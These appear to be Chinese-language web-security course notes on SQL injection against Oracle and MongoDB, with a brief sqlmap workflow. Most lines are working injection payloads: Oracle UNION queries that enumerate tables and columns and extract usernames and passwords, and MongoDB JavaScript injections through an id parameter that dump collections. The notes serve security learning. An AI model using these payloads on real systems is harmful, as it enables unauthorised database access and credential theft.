小迪安全笔记-26

第26天:WEB攻防-通用漏洞_SQL注入_Sqlmap_Oracle_Mongodb_DB2等

知识点

1、数据库注入-Oracle&Mongodb

2、数据库注入-DB2&SQLite&Sybase

3、SQL 注入神器-SQLMAP 安装使用拓展

数据库注入

Oracle

参考: https://www.cnblogs.com/peterpan0707007/p/8242119.html

猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。

Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。

测回显:and 1=2 union select ‘1’,’2’ from dual

爆库:and 1=2 union select ‘1’,(select table_name from user_tables

where rownum=1) from dual

模糊爆库:and 1=2 union select ‘1’,(select table_name from

user_tables where rownum=1 and table_name like ‘%user%’) from dual

爆列名:and 1=2 union select ‘1’,(select column_name from

all_tab_columns where rownum=1 and table_name=’sns_users’) from dual

爆其他列名:and 1=2 union select ‘1’,(select column_name from

all_tab_columns where rownum=1 and table_name=’sns_users’ and

column_name not in (‘USER_NAME’)) from dual

爆数据:and 1=2 union select user_name,user_pwd from “sns_users”

爆其他数据:and 1=2 union select user_name,user_pwd from

“sns_users” where USER_NAME<>’hu’

Mongodb

参考:
https://www.runoob.com/mongodb/mongodb-query.html

测回显:

/new_list.php?id=1’}); return ({title:1,content:’2

爆库:

/new_list.php?id=1’}); return

({title:tojson(db),content:’1

爆表:

/new_list.php?id=1’}); return

({title:tojson(db.getCollectionNames()),content:’1

爆字段:

/new_list.php?id=1’}); return

{title:tojson(db.Authority_confidential.find()[0]),content:’1

sqlmap

参考:

https://www.cnblogs.com/bmjoker/p/9326258.html

这篇文章写的挺全的建议逐帧分析

流程

  1. 判断注入点;
  2. 判断数据库类型,就是这个注入点是什么数据库的注入点;
  3. 根据数据库类型,是否存在高权限注入点;
  4. 文件读写、命令执行不行,就只能老老实实去猜数据;